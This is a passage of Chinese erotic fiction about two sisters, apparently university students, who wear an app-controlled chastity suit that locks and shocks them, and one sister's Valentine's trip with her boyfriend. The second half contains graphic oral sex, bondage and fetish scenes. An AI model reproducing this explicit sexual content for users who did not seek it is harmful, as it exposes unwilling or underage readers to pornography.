命了那么久,我相信她不会为了这一点小事就想不开的。就在我经过小学旁边的
公园时,似乎听见了熟悉的音乐,没错!是湘妤的手机铃声,于是我绕过围栏往
里头的步道走去,没多久终于让我给找着了,只见湘妤两眼泛红抬着头看我,似
乎才刚哭过的样子,拖着行李箱无精打采地坐在公园里的长椅上。

「呜""姊""我该怎么办?青彦他…他不要我了…」湘妤一看见我走到她面前,
便伸手抱着我的腰,开始痛哭了起来。

「没关系,乖,还有姊姊啊!姊姊爱你!」我轻轻拍着她的头,让她在我的
怀里放声大哭,深夜里的公园,湘妤的哭声听起来格外地凄殇。

「为什么?明明他之前说喜欢我身上这套服装的,还说我穿着很漂亮,可是
为什么当我说不能跟他爱爱时,他就不要我了…呜哇""」湘妤说着说着又哭了起
来,我也只好坐在她旁边等她情绪慢慢消退,同时传讯息给青彦告诉他我找到湘
妤了,她没事请他不要担心,赶紧回去休息。青彦回了讯息表示感谢,问我需不
需要过来一趟,我跟他说不用了,毕竟你们已经决定分手的话,就让这段感情慢
慢淡化吧,湘妤这边我会处哩,就请他别操心了。

「你的乳头有没有很痛?」我试着转移湘妤的注意力,让她不要一直陷在分
手的回圈中。

「嗯,对不起" 姊,都是我害了你…唔呜" 」湘妤点点头,用手揉了揉自己
的眼睛。

「傻瓜,我们姊妹俩可是相依为命的,这点小痛不算什么的,啊呃…」就在
我说这句话的时候,乳头上的电击又来了,湘妤也同时喊着痛。

「再忍耐一下,快过12点了,过了之后解锁的点数重置就不会继续电击了」
我用手轻轻地揉着湘妤的胸部,发觉她的乳房真的比我还大了一点呢。

「姊,我好多了,我们回家了好吗?」湘妤脸颊上流满泪痕,微笑着对我说。

「嗯嗯,我的宝贝妹妹,回家好好睡上一觉,明天又是美好的一天,对吧?」
我拉起湘妤的行李箱,她揹起自己的包包,我们姊妹俩手牵着手,相视而笑,慢
慢地走回家中,一路上,每当电击同时凌虐着我们的乳头时,我们就握紧对方的
手,坚强地不叫喊出声音,成为彼此互相支持的力量。

两个月后这个学期也快结束了,接下来的寒假正好有一段很长的时间可以让
湘妤慢慢地走出分手的低潮期,当我跟沛海提起湘妤的事情时,他还跟我保证他
绝对不会变心的,叫我不用担心,我撒娇地在他的胸口上捶了两下,戴着口罩发
出哼哼的声音埋怨他又在乱开玩笑,可是心里却是甜滋滋的。沛海趁机在我的脸
颊上轻吻了一下,让我顿时脸红了起来,幸好他也看不见。寒假开始的前一天,
如同往常一样我和湘妤下课后就一起搭乘巴士回家,到了社区的巷口时我们下了
车,湘妤突然提议说想去那间很久没吃的日式料理,我想想也觉得不错,就当作
是庆祝开始放寒假,同时也让湘妤的心情可以好转一些,于是我们便直接走去那
间店。很幸运地店里的客人没有很多,虽然没有订位但有空桌可以直接给我们用
餐,我和湘妤就挑了一个靠角落的位置坐下,各自点了自己喜欢的定食套餐,我
们姊妹俩一边吃着晚餐一边聊着今天在学校的事情,突然我看见坐在对面的湘妤
眼角泛着泪光,声音也开始抽咽了起来。

「怎么了?为何突然又伤心了起来?别哭,姊在这儿啊" 」我放下了手上的
筷子,抽了一张面纸给湘妤,她伸手接了过去,轻轻地将落下脸颊的泪水给擦拭
干净。

「今天,我看见青彦了,他旁边有个很可爱的女孩子,看见他们有说有笑的
样子,我的心好痛…」湘妤忍不住又开始抽咽了起来。

「也许只是社团的同学啊,你们才刚分手没多久,我想他不会这么快就交新
的女友」我赶紧安慰湘妤,对她来说现在最不喜欢知道的就是对方很幸福,我能
体会这种感觉。

「姊,我知道你只是在安慰我,我自己心里有数,青彦在我们系上可是很受
欢迎的男生呢」湘妤哭哭啼啼地说着,讲到这里时却又流露出一股骄傲的神情。

「过去的事就慢慢忘了吧,别再去想了,你其实也很漂亮呀!别对自己太没
信心噜" 」我一边说着又抽了一张面纸递给她。

「可是,可是…我现在穿着这套…怎会有人愿意?又不是每个男生都跟学长
一样」湘妤不服气地说着,语气里似乎在妒忌着我呢。

「哎…总不能叫我把学长分给你吧!」我没好气地回答,湘妤听了似乎不太
高兴,不过终于停止了哭泣。

「哼" 人家才不要你的学长咧,我要跟学长抢你,你是我的」没想到湘妤竟
然会讲出这么无厘头的话,让我只能无言地莞尔一笑。

「好啦,你快点吃吧,饭菜都快凉掉了」我拿起筷子继续吃着我自己的鲑鱼
丼,湘妤也拿起汤匙舀了几口味噌汤喝了起来。

回到家后,我们各自去洗完澡,一起坐在客厅看电视聊天,我切了盘苹果和
水梨,湘妤一边吃着一边若有所思地玩着她的手机,突然她也跟我要了手机,说
要看看我的跟她的有什么差异。湘妤打开了两支手机的Lesbian Chastity Suit
程式在萤幕上点来点去,不知道再研究些什么,我看完了今天的影集后就先回到
房间里整理洗好的衣服。过没多久湘妤也走进了房间,将我们的手机放在床头柜
上,然后坐到我旁边一起折叠衣服,我看她似乎想说些什么却欲言又止,于是就
先主动问她想做什么,结果没想到她竟然要求我答应让她整个寒假都不要启用服
装的功能,她想利用寒假的机会将Long Duration Training给完成。

我听了之后大吃一惊,再次跟湘妤确认是不是真的想清楚了,因为那段时间
可不是那么容易熬过的,我是过来人我很清楚。湘妤跟我解释说他刚才看过了手
机里程式的说明,现在已经修改了计算方式,每一阶段的瑜珈紧缚时间并不会累
积重叠,所以她随时可以在完成某个阶段时就停止,只要她愿意的话,因此不会
有之前我遇到的情况发生。我想了想既然湘妤这么认真地考虑过了,我也只能给
她最大的支持与鼓励,毕竟这是她自愿的。湘妤把她的计划完整地告诉我,目前
她的Long Duration Training正在Level 4 ,距离完成全部的一共需要持续44天,
这段时间里至少还必须得完成四次长时间的瑜珈紧缚,分别是四至七天。

湘妤希望我能帮她一点小忙,我疑惑了一下到底是什么事情,接着她说为了
能够在完成Long Duration Training时就可以马上使用自慰和高潮功能,她希望
我可以在最后两个阶段跟她一起启用瑜珈紧缚的功能,因为这样可以累积两倍的
Masturbate点数,我想起了之前完成Long Duration Training时的条件说明,有
一项是如果两个人同时在瑜珈紧缚时,累积的Masturbate点数是每小时加倍。我
想了一下后就答应了湘妤,因为若是只靠一个人的累积速度实在太慢,光是每天
为了维持正常上学生活的需要,将Mask及Armbands解除扣掉的Masturbate点数就
几乎抵掉晚上睡觉时瑜珈紧缚所换来的点数了,若是利用寒假这段期间来同时做
长时间的瑜珈紧缚,就可以很快地累积到所需要的Masturbate点数。

于是寒假的前三个礼拜,我每天都可以将所有的服装隐藏功能启用,同时也
解除所有的服装锁定功能,除了大腿环和高跟鞋之外,因为我现在的服装等级如
果再解除了这两个配件的锁定功能,就会启用乳头及阴蒂的紧束惩罚,所以只好
妥协了。如同湘妤之前和青彦出去玩的时候一样,趁此机会我也难得地跟沛海到
许多地方游玩,少了这套服装的诸多限制和拘束,顿时感受到自由的难能可贵,
可是心底却又总是有某种空虚感存在。湘妤现在每天都窝在家里看小说跟连续剧,
偶尔会穿上风衣戴着手套和围巾出去逛街,有几次我和湘妤一起去公园里散步时,
因为我们都戴着口罩,每当经过的路人向我们问路时,都让我们紧张了好一会儿,
还好我都用手比一下方向就解决了,但是这感觉挺刺激的。

大楼的管理员也很习惯我们姊妹经常戴着黑色的口罩出门,每次打招呼时我
们也都只是点点头招招手,我想他大概不会想到其实我们的口罩背后竟然还有着
一根巨大的洁齿棒吧。邻居的小孩里有几个高中女生也常常学我们穿着亮黑色的
紧身裤袜去上学,但是她们绝对不知道我和湘妤的这双裤袜其实并不只是她们所
看到的那样子而已,胯下的那几个令人又爱又恨的装置,每天都让我们处在无法
宣泄的欲望中,那种苦闷可不是一般人能够想像的,尽管多年下来,这也成为了
我们的秘密与习惯。

再过三天就是西洋情人节了,我和湘妤躺在床上用平板一起看着连续剧,但
我的脑海里却是不停想着要如何跟沛海共度情人节夜晚,因为知道自己还无法将
贞操献给他,所以苦恼着有什么更棒的礼物可以用来替代。湘妤她前天才结束了
Level 5 的瑜珈紧缚并且刚进入了Level 6 的阶段,由于这个等级启用瑜珈紧缚
后就得连续六天不得中断,湘妤也想喘口气再继续,她还跟我吐苦水说终于明瞭
之前我所忍耐的苦闷有多难受了,居然能够连续在瑜珈紧缚的状态维持一个月真
的是太厉害了,我轻轻用手指敲了她的头顶,娇斥着说还不都是因为你的缘故。

「哼" 唔唔呜…」湘妤瞪了我一眼,不满地用戴着口罩的小嘴发出抗议,右
手抚摸着被我轻敲的脑袋瓜儿。

「好啦" 姊跟你开玩笑的…别生气齁」我靠过去用右手搂着她的后腰,左手
顺势点了点她的乳尖挑逗了一下。

「嗯嗯…唔哼」湘妤的眼睛笑着弯了一下,然后用平板写了几个字让我看了
顿时心跳加速。上面写着「情人节要跟学长去哪度过激情的夜晚呀?」

「只是吃个饭啦,小孩子别胡思乱想」我没好气地说着。

「才怪,你脸都红了」湘妤又在平板上很快地写下了。

「哪…哪有」我想起现在自己没戴着口罩,所以肯定被她看透了。

「哈哈,害羞了齁…别担心,我可以自己在家照顾自己,你就跟学长一起度
过美好的夜晚吧」湘妤把平板递给我看时,也用充满祝福的眼神看着我,我感受
到了她的心意。

「谢谢你,我最宝贝的妹妹」我也笑着对她说,然后用鼻尖轻碰了一下她的
口罩。

(23)

当我和沛海提议情人节一起去两天一夜的旅行庆祝时,沛海也担心地问我湘
妤的情况,我说明了湘妤的想法和心意后,沛海也点点头称赞湘妤真是善解人意,
还说回来时要买个礼物送给她,我假装吃醋地问他那我的礼物是什么,沛海赶紧
安抚我说会有惊喜给我,我听了眉开眼笑地拉起他的手往前走。在超市里逛了一
大圈后,在饮料区前我停了一下子,想说买几瓶鲜奶跟果菜汁回去,出门的这两
天可以加在饮水机里让湘妤喝,沛海看我犹豫了好久,于是灵机一动,除了鲜奶
和果菜汁,还拿了一瓶柠檬伏特加调酒。

「给湘妤的惊喜!」我和沛海有默契地相视一笑。

回到家后,湘妤看见我提了一大袋东西,纳闷地看着我,似乎在想着我买这
些东西是要给谁的,她这几天又不可能自己煮东西来吃,当她看见我从袋子里拿
出鲜奶和果菜汁时,才意会过来我要做什么,于是开心地过来帮我把东西都拿出
来。当她看见那瓶鸡尾酒时,眼睛睁地大大的,不可思议地看着我,还用手指着
自己,像是在问我这是买给她的吗?我笑了笑点点头说,那是沛海的点子。

接着我和湘妤就把多功能饮水机那几个好一阵子没用的空槽给清洗了一下,
然后依序倒满了鲜奶、蔬果汁和那瓶柠檬伏特加调酒。湘妤似乎迫不及待地想先
尝尝味道,我马上制止她说,这是要留到明天才能开箱的情人节礼物,湘妤只好
无奈地透过口罩发出一声哀鸣。准备好饮水机后,我又检查了一下家里的所有设
备,确保湘妤这几天在家中可以无虑地度过,然后回到房间开始整理自己的行李,
因为只有过一夜而已,所以我就不打算带太多衣服了,但是口罩还是习惯性地随
身携带,尽管这阵子我只有睡觉时才会戴上它,因为早己习惯了戴着口罩睡觉的
感觉,如果嘴里少了口塞反而容易失眠呢。

隔天早上最后和湘妤确认了一切准备妥当后,就等沛海开车来接我了,湘妤
在我出门后也启用了瑜珈紧缚,开始了她在Long Duration Training Level 6的
最大考验。沛海在上车时再次关心地问我湘妤一人在家里会不会有什么问题,我
要他别操心了,不过就是一个晚上,明天我们就回来啦。沛海想了想后才抓着头
笑说也对,于是我们一起开心地踏上旅途。这阵子刚好寒流到来,街上的形人和
车辆都少了许多,但仍可看见俩俩一对的情侣戴着毛帽和手套,一起围着一条大
围巾在路上走着,甜蜜的气氛也感染着我和沛海,沛海一手握着方向盘开着车,
另一手则是握着我的手温柔地抚摸着。

这次的目的地就是大约一年前我和沛海共度第一次的那个湖边小屋,在我提
出要两天一夜的旅行后,沛海就马上提议不如来这个小屋度假,我想他也应该很
想念那次的美好回忆。大概是因为寒流的缘故,湖面已结上了一层薄冰,四周是
一片银白色的世界,和上次的景色相比,又是另一种无法言喻的壮丽美景,下车
后我不自觉地缩起身子,呼吸时口中也吐着白烟,但还是忍不住踩着高跟鞋在雪
堆里奔跑了起来,沛海看见我像小孩子贪玩的模样,紧张地叫我小心点别跌倒了。

因为大腿之间还被锁住的关系我无法跨出太大的步伐,尽管如此也让我开心
地在雪地里留下了许多足迹,绕了一圈后回到停车的地方,和沛海一起把车上带
来的东西提进屋子里,我们的行李并不多,主要是一些食材和饮料,沛海双手拿
满了较重的东西,只让我提些轻一点的物品,他的贴心总是无微不至。经过院子
里的花圃旁时,我一不注意踩空在一个雪堆覆盖的坑洞上,一时重心不稳加上大
腿被绑住无法往前迈出大步,就这样喊叫了一声「啊" 」接着慢动作地扑倒在雪
地上,手上提着的蔬菜和面包也散落了一地,沛海走在我前面听见我的尖叫后赶
紧回头一看,马上丢下手中的行李转身跑到我身边蹲下将我扶起,心疼不舍地问
我有没有受伤。我站起来后拍了拍身上的残雪,甩了几下手且踏了几下脚后表示
没问题,幸好有雪堆的缓冲,我猜大概只有一点小挫伤而已没什么大碍。

进到了屋内后沛海将暖气打开,然后把我们带来的食物给先安置好,接着带
我一起上楼进房间里摆放行李,因为好一阵子没有人来住过,橱柜里的棉被和枕
头都有点潮气,于是沛海先把它们拿出来抖一抖,然后打开房里的除湿机吹着。
我和沛海回到楼下后他就到厨房开始准备午餐,我坐在客厅里的沙发上等着待会
享用他的高超厨艺,老实说自己也很纳闷,沛海煮得一手好菜是从谁那儿学来的,
让我这个女生都有点甘拜下风了。听见厨房那传来铿锵的锅具声,我看着电视也
觉得有点无聊,于是就决定起身走到厨房帮沛海一起弄午餐,毕竟我对自己的厨
艺也是有点把握的,可不能被他给小瞧了。

用过午餐后沛海问我想不想出去散散步,刚好外头的风雪也停了,我欣然地
点头答应,于是沛海冲了一壶热拿铁装在保温瓶里,然后我们就牵着手往屋外走
去。离开了温暖的屋内,刚吸了几口寒冷的空气后,忍不住打了几个哆嗦,沛海
笑着问我会不会太冷,我红着脸摇摇头,将身体往他的身上紧靠,于是沛海伸手
从背后搂着我的腰,我们就这样安静地漫步在树叶已落光的林间小道。除了风声
之外,整个宁静的枯木森林,只有我俩踏过雪堆的窸窣声,走着走到我们经过了
湖畔的小木栈时,我突然想到一个大胆的主意,于是转头左右看看四周,视线内
除了我和沛海以外毫无人烟,我放心地停下脚步深呼吸了一口气。

「嗯…怎了?」沛海转头纳闷地看着我说。

「我想留着纪念,帮我拍下来好嘛" 」我鼓起勇气低着头说,同时感觉到自
己的脸颊已变得红烫烫地。

「哦?当然好呀!我的荣幸」沛海从口袋里拿出手机,等着我摆好姿势。

「不是在这里,等我一下」我松开沛海握着的手然后转身往木栈走去,同时
还左右挥动着双手试着暖和自己的身体,沛海没说什么只是跟着我后面走来。

踩着高跟鞋踏在雪地上行走是件很困难的事,尤其是少了沛海在一旁的搀扶,
自己单独走着时摇摇晃晃的,好不容易才走到湖畔的木栈上头,我转过身对着沛
海招手示意,他笑了笑停在了步道上,距离我大概五公尺的位置拿好手机准备帮
我拍照。

「OK,还要再一张吗?」沛海开心地笑着问我。

「嗯嗯,不过等我一下」我紧张地回答沛海,然后深吸一口气拿出了自己的
手机,接着打开了Lesbian Chastity Suit 的控制程式,将长筒袜和长手套的隐
藏功能关闭,然后再将大腿环的锁定功能解除,虽然已有心理准备,但阴蒂上传
来的疼痛感仍然让我忍不住皱了眉头。接着我将毛线帽和围巾取下,脱下了风衣
顺手挂在一旁的矮柱上,沛海以为我准备好了正要拍照时,我挥挥手示意他还没
好,沛海一脸疑惑地看着我。

在马甲束腰的限制下我无法做太大幅度的弯腰,只好解开长裙的腰带,慢慢
蹲下然后将裙子给脱下,露出了穿着亮黑色长筒袜的修长双腿,然后继续脱下我
身上穿着的毛衣和内衣,将衣服都放在矮柱上堆叠好后,我找了一个喜欢的风景
角度,摆好了姿势对着沛海点点头示意。我想这时候沛海手机上的萤幕应该有着
一个全身赤裸的年轻女孩,只穿着亮黑色的长手套和长筒袜,脚踩着一双细高跟
鞋,站在一片雪白的湖面和山峦前方,黑与白形成了强烈的对比。

沛海拍了好久,不知道是否被我美丽的倩影给慑住了,过了几分钟后才愣愣
地说了声好,于是我拿起了手机又继续关闭了马甲的隐藏功能,全身变成了穿着
亮黑色的紧身衣模样。我换了一个位置摆好姿势,点点头让沛海继续帮我拍了几
张照片,这次他似乎已经从刚才的惊讶中恢复,很快地就完成了。于是我再次拿
起手机将所有的服装锁定功能开启,阴蒂紧束的功能终于停止了,虽然还是残余
着一点痠胀的感觉。这时我的身上出现了被银色绳索紧缚的菱形交织图案,颈部
和手腕脚踝上也出现了银色的项圈跟圆环,当然手臂和大腿上的银环也是一样。

我再次摆好了姿势后,沛海拿起手机开始拍照,然后对我比了一个赞的手势
表示拍好了。我走到矮柱旁开始拿起内衣准备穿上,这时突然刮起了一阵强风,
将我堆叠在矮柱上的长裙给吹起来了,我一时心急身体反射性地伸手想去抓住长
裙,没注意到被大腿环限制住步伐加上高跟鞋,双脚一时站不稳失去了重心平衡,
接着尖叫了一声往结冰的湖面中倒去,这一切来的太突然,沛海完全来不及反应,
当我感觉到全身被强烈的寒意给包围时,整个人已经扑通一声跌坐在水里了。

「湘晴,湘晴,你还好吗?」此时我的脑海一片空白,全身被冰冷的湖水给
冻僵了,就在我还没回过神时,突然发现有人抱起了我,着急地呼喊着我的名子,
原来是沛海的声音啊。

「我…我没…事,好" 冷" 啊…」我颤抖着声音说着,这时才逐渐恢复了神
智,发现沛海也跳了下来,正抱着我站在湖岸上。

「你这傻瓜,可把我给吓坏了」我感觉到沛海的声音也在颤抖着,他的双手
和身体也是,接着他将我放在地上,跑回木栈上拿起我的衣物和手机,然后回到
我身边帮我穿上风衣和围巾,然后揹着我赶紧回到了小木屋。屋子里因为有暖气,
让我的身体回暖了不少,沛海先让我坐在沙发上,然后跑上楼去不知道要准备些
什么,我瑟缩着身体在沙发上发抖等着,过了一会儿后沛海从楼上下来,然后又
将我揹上楼走进浴室,原来他刚才先把热水给放满在桧木盆里了。

泡在温暖的热水中,我僵硬的身体慢慢地恢复了知觉,这时沛海正拿着莲蓬
头坐在澡盆边帮我冲着头发,我感觉到他的手掌轻轻地在我的头顶上抚摸着,还
不时地用手指梳着我的长发,我抬起头对着他轻轻地说了声对不起。

「小笨蛋,没事就好,你让我想起了小时候有一次我爸带我和雨荷去那边钓
鱼时,雨荷也因为贪玩不小心跌进了湖里,那时候我爸的心情我终于体会到了」
沛海爽朗的笑声让我放心了不少,但我却发现沛海的脸色有些苍白,手脚的皮肤
也有点泛红,这时我才想起刚才沛海是不顾安危跳下湖里救我,肯定也被冰冷的
湖水给冻僵了,我真是白痴,怎么就没想到这一点。

「沛海,进来抱着我好吗?」我伸手拉了拉沛海的袖口,用愧疚地眼神看着
他,沛海似乎知道了我的心意,于是将莲蓬头挂回墙上的固定座,调整好角度让
热水可以直接淋洒在澡盆里。然后沛海脱掉了身上湿冷的衣物,赤裸着身体站在
澡盆边。尽管这不是我第一次看见沛海的私处,但那还未勃起的阴茎垂悬在眼前
仍旧令我害羞地转过头去。

「晴,那我坐进去啰" 」沛海笑着跨进了澡盆,这个桧木盆虽然是单人用的
但空间还算充裕,沛海慢慢地坐在了我的身后,从背后搂着我的腰,双脚也盘在
我的两侧,将我的两腿给勾住,我轻轻地往后靠,躺在他的胸口上,将头枕在他
的右肩上,沛海低头在我的鼻尖上亲吻了一下。

「谢谢你…我爱你…」我抬起头往沛海的嘴唇上亲了一下,于是沛海也回吻
了我,一次热烈又深长的舌吻,在彼此的口腔内缠绵着。

「晴的舌功愈来愈厉害了」纠缠了几分钟后沛海终于放过了我的舌头,温柔
地夸奖我的接吻技巧,我也不甘示弱地将身体转过来,然后要求沛海起身坐在澡
盆边,我则是改成跪坐的姿势面对着他,莲蓬头的热水淋在沛海的身体上,顺着
他的腹部流到了澡盆里。

「就让你见识一下我的真功夫」我露出了狡黠的笑容,沛海则是微笑着一副
等着看我表演的样子。我先将头发往后梳,然后用双手轻轻地捧起了沛海的阴茎,
左手在他的阴囊下方拨弄着,右手则是握住他的阴茎,用食指在他的龟头上顺时
钟画着圈圈,没几下子沛海的小弟弟就昂然而立,坚挺在我的面前,我仰头对着
沛海笑了笑,沛海也笑得灿烂地看着我。

我深吸了一口气,将沛海的龟头含入口中,然后慢慢地低头把整根阴茎给吞
入,我的舌头也没闲着,在嘴里不停地吸舔着,接着开始加快速度,将他的阴茎
在我的口中来回抽动着,过没多久沛海开始发出愉悦的呻吟声,我不时地变换着
节奏,一会儿只是含住龟头,用舌尖和嘴唇按摩着,一会儿则是将阴茎整根吞入,
让龟头直达我的喉咙深处,用脸颊两侧的肌肉紧紧吸住他的阴茎来回抽插,一会
儿则是将阴茎吐出,用舌尖和牙齿在四周一边舔着一边轻咬着,逗着沛海让他无
法达到高潮。

沛海似乎知道我故意在玩弄他,于是伸手抓住我的双手,然后固定在我的脑
后,接着按住我的头让我无法吐出他的阴茎,接着开始摆动臀部,在我的嘴里快
速地抽插了起来,我一开始也不服输地反抗了一下,但沛海的力气实在是比我大
太多,最后只好放弃乖乖地配合他的节奏,用嘴巴服侍着他的阴茎,这也是我现
在唯一能用的方式了。我感觉到沛海的阴茎似乎开始抽蓄,知道他快到高潮了,
于是赶紧趁着空隙深呼吸了一口气,果然接着沛海就用力按着我的头,将我的脸
整个压在他的跨下,我的鼻尖跟嘴唇紧贴在沛海的阴部,我的喉咙也感觉得到龟
头上传来的脉搏跳动。

「哦""" ,晴真是太棒了!,我爱你" 」沛海在射精之后,终于放松了双手,
让我可以慢慢地将口中仍然坚挺的阴茎给吐出,我被残留的精液呛了几口,还好
不是太严重。

「每次都这样欺负人家,讨厌啦…」我抿了抿着嘴唇,伸手握住他的阴茎,
稍微用力地套弄了几下,沛海忍不住又呻吟了两声。

「好了" 好了" 对不起啦,可是我最喜欢的就是晴的这个技巧了呀,那感觉
真是太舒服了」沛海摸摸我的头安慰了一下,我才撒撒娇嘟着嘴说原谅他,然后
又用嘴巴将阴茎里残留的精液给吸舔干净,同时把这些沛海的精华给吞下肚,不
知为什么,我总觉得沛海的精液有种说不出的味道,令我觉得有点恶心却又不排
斥,甚至有点喜欢上了。

在我们两人的身体都恢复了之后,沛海让我先待在房间里将头发弄干,然后
就先下楼去准备晚餐的食材,我拿起手机看看时间发现已经下午四点了,想起都
还没跟湘妤连络,不晓得她现在过得如何,于是我拨了一通视讯通话给她,等了
好几秒后终于接通了,萤幕上出现了湘妤戴着口罩的样子,点着头发出呜呜的声
音跟我打招呼,我也笑着挥挥手问她感觉怎样,湘妤有点兴奋地扭来扭去,然后
学我之前跪着用膝盖走路的样子绕了一圈,我拍拍手夸奖她真是厉害,已经可以
走得这么顺畅了。简单和她交代了一下我跟沛海在小屋这里的情况后,我就挂断
了和湘妤的视讯通话,看来她适应得还不错,也许明天回家后可以跟湘妤来场膝
盖走路比赛呢,输的人要喝掉柠檬伏特加调酒,如果还有剩的话,呵呵。

头发吹干后我穿好衣服也走下楼,去瞧瞧沛海的时才弄得怎样了,我记得晚
餐是之前去超市时买的菲力牛排,沛海说要让我尝尝媲美米其林三星级的味道。
走到厨房后发现流理台上摆着许多材料,却没有看见沛海的人影,正纳闷着他跑
去了哪里时,沛海就突然从我身后出现,手上还拿着两瓶红酒,原来他刚到地下
室的酒窖去了,沛海晃了一下手中的酒瓶,跟我说了声Surprise!原来他说要给
我的惊喜就是这个呀。我从沛海手中接过酒瓶,然后拿到餐桌上摆好,接着两个
人一起料理着今晚的美食佳肴,沛海负责烤牛排,我负责煮最拿手的义式蔬菜浓
汤。

天色很快地就暗了下来,当我们的晚餐菜色都准备好时,外头的风雪也跟着
大了起来,原本就宁静的湖岸,在黑夜的笼罩下显得更加寂静。沛海将蜡烛点亮
后,把客厅的灯光调暗,顺便播放了一张抒情的古典CD,瞬间小屋里充满着浪漫
的气氛,沛海让我先在餐桌旁坐好,然后从厨房那端来我们的牛排和浓汤,最后
拿了两个红酒杯过来,用开瓶器打开了一瓶红酒,各倒了四分之一左右。沛海也
坐了下来,接着我们拿起了酒杯,铿地一声我们互相轻敲了一下杯缘,然后同时
喝下了香醇的美酒,「情人节快乐,我爱你,晴」,沛海深情地对着我说,「我
爱你,沛海」我也害羞地回答。

享用完这顿美好的烛光晚餐后,沛海和我一起坐在沙发上看了齣爱情电影,
他的双手不安分地在我的身上四处游走,偶尔还学着电影里的主角和我接吻,逗
得我是春心荡漾,如果我现在可以高潮的话,绝对二话不说马上启用自慰功能,
可惜从上次宣泄后至今累积的点数寥寥可数,因为这阵子我经常解除了口罩或臂
环的锁定功能,点数都被倒扣光了,一想到这里心底就感觉有股无奈油然而生,
沛海似乎发现我有点闷闷不乐,关心地问说我怎么了,哪里让我不开心了,我摇
摇头笑着说没事,只是觉得这套服装在这个气氛下很煞风景。

沛海听懂了我意思,轻轻地搂着我的腰,将我的头靠在他的肩上,温柔地安
慰我说「我喜欢你永远保持着处女的矜持,这样就足够了,别烦恼太多」我听了
后点点头,静静地依偎在沛海的怀里,大概是刚才酒精的作用开始生效了,我也
不知不觉地睡着了。再次醒来之后,发现自己已经在房间里的床上,沛海靠着枕
头坐在我身边看着书,看见我醒来后他把书放在一旁的床头柜上,问我想不想喝
杯水,我点点头,于是他下床走出房间到楼下帮我倒水,我拿起手机看了一下时
间,原来已经过了午夜,我睡了大概三四个小时吧。

沛海拿着水杯回到房间后,我喝了几口,然后到浴室里将胀满的膀胱给纾解
一下,顺便准备开始今晚的排便,将带来的浣肠喂食袋装满调好的浣肠液,然后
用手机启用浣肠功能,将管口插入在肛门口上的接头,然后反覆地缩紧括约肌,
开始给自己浣肠。花了十几分钟终于完成了浣肠的步骤,接下来就是等待漫长的
两个小时才能排便,我突然想给沛海一个惊喜,于是关闭了身上的所有隐藏功能,
除了长手套和长筒袜之外,我看了看镜子里自己的身影,简直是男人们梦寐以求
的尤物,想必沛海看见一定也会被我吸引住的。

我想了想觉得还少了一点特别,于是将银绳紧缚的隐藏功能关闭,这时身上
浮现出银色的绳索,交叉紧绑着我的躯体,顿时多了一股性感的魅力,我满意地
点点头,然后将睡衣脱下挂在衣架上,打开浴室的门走了出去,沛海看见我近乎
赤裸地走出来时,两眼睁得大大的,嘴角几乎要流出口水来了,我娇媚地摆了几
个姿势,对着沛海抿着嘴唇露出挑逗的微笑,沛海也不客气地起身将睡衣脱掉,
走过来将我紧紧搂抱住,低头亲了一下我的额头,对我不怀好意地笑着说,这可
是我自找的怪不得他。我感觉到沛海下半身的部位,有根坚硬的棒状物挺立着紧
贴在我的肚子上,我紧张地咽了一口口水,也浑身发热了起来。

(24)

沛海搂着我慢慢地走到床边,然后让我转过身去,接着他慢慢地将我的双手
拉到背后,然后拿起原本吊在墙上挂钩的围巾,将我的手臂在腰后上下交叠捆在
了一起,虽然绑得不是很紧只要我用力就可以挣脱开来,但我还是顺从地任由沛
海摆布。

「晴,相信我」沛海再次将我转过身来,然后在我的额头上轻吻了一下,我
只是点点头表示放心。沛海让我在床上慢慢地躺下,双手虽然绑在背后,但这个
方式比瑜珈紧缚时的姿势轻松了许多,对我来说一点困难也没有。接着沛海也伏
在了我的身上,开始用他的舌头和十指挑逗起我的乳尖,可惜我的乳头在硬壳的
覆盖下,无法感受到沛海的舔舐以及指尖的搓揉,只有那在呼吸时胸膛起伏造成
的紧束放松,于是我只好将这股习惯已久的感觉想像成是沛海的吸吮。

沛海接着用双手握住我的乳房,渐渐地加大按摩的力道,虽然我的乳房几乎
被马甲内嵌的胸罩给覆盖住,但除了乳晕的部分之外还是保有一定弹性的,在沛
海的按摩下我发觉乳头上反覆收缩紧束的刺激感变得更强烈了,呼吸也开始变得
急促了起来。沛海看见我有反应了之后,对着我微笑了一下,开始将手的目标放
到了我腹部和腰侧,舌头则是往我的锁骨和颈侧进攻,我没想到沛海对于女人的
敏感带竟然如此熟悉。

我开始感觉全身发烫,每当敏感带被沛海给触碰到时,就忍不住发出呻吟来,
我闭上眼睛享受着沛海的全身按摩,脑海中想像着自己正与沛海缠绵的景象,双
脚大腿紧夹着来回磨蹭着,让阴部的刺激可以再多一些。突然我感觉沛海离开了
我的身边,我纳闷地睁开眼看看他去哪了,结果沛海正拿着我刚才放在洗手台上
的手机。

「晴,我知道会有点痛,你忍耐一下」沛海说完在我的手机上点了几下,接
着我马上感觉到乳头和阴蒂上传来强烈的疼痛,忍不住啊的一声喊了出来,沛海
对我说了声抱歉,我摇摇头说了声我还好没关系。我发现大腿环和高跟鞋的锁定
都被沛海解除了,沛海将手机放在床头柜上后,接着坐到我的脚边将我的高跟鞋
给脱下,然后开始按摩起我的脚趾和脚掌。过了一会儿乳头和阴蒂的紧束疼痛感
也渐渐麻痺了,沛海开始用嘴巴吸吮着我的脚趾,用舌头舔着我的脚底,我感觉
到一阵酥麻从脚底传到我的头顶,全身都起了鸡皮疙瘩,心想「喔" 天哪!」沛
海竟然知道这个方式,而且他愿意为了我做这种许多男人不愿意的事。

突然我想起了自己应该不会有脚臭味吧,这双长筒袜跟高跟鞋就算长时间穿
着也不会出汗才是,但这种羞耻感却让我的心跳更加快速了,被紧束着的乳头和
阴蒂上也能感觉到脉搏的跳动,我发觉自己似乎开始有接近高潮的感觉,但之前
那次在没有开启自慰功能时,触发了限制高潮的惩罚电击功能,却让我赶紧摇头
呼喊要沛海停止,我可不希望又来一次。然而沛海却只是笑着对我说「别担心,
相信我」。

沛海摆弄完我的双脚后,终于开始往我的秘密花园前进,他将我的大腿往两
旁推开,跪坐在我的双脚之间,开始用双手抚摸着我的大腿内侧和阴部,手指也
不停地在我的阴蒂和阴唇周围按压着,我呻吟着反覆收缩阴道和肛门的括约肌,
利用阴道球和肛门棒的刺激来增加快感,然而心里却有股害怕电击不知何时会到
来的恐惧,与我想要到达高潮的欲望不停地拉扯着。沛海开始趴下来低头用舌尖
舔着我的阴部,想必下方已经是分泌物四处蔓延,我想像着自己吸吮着沛海的阴
茎的情景,而此时阴道里的分泌物也正在不停地涌出吧。

沛海忙碌地用他的双手和嘴巴在我的全身上下四处游动,反覆地来回按摩、
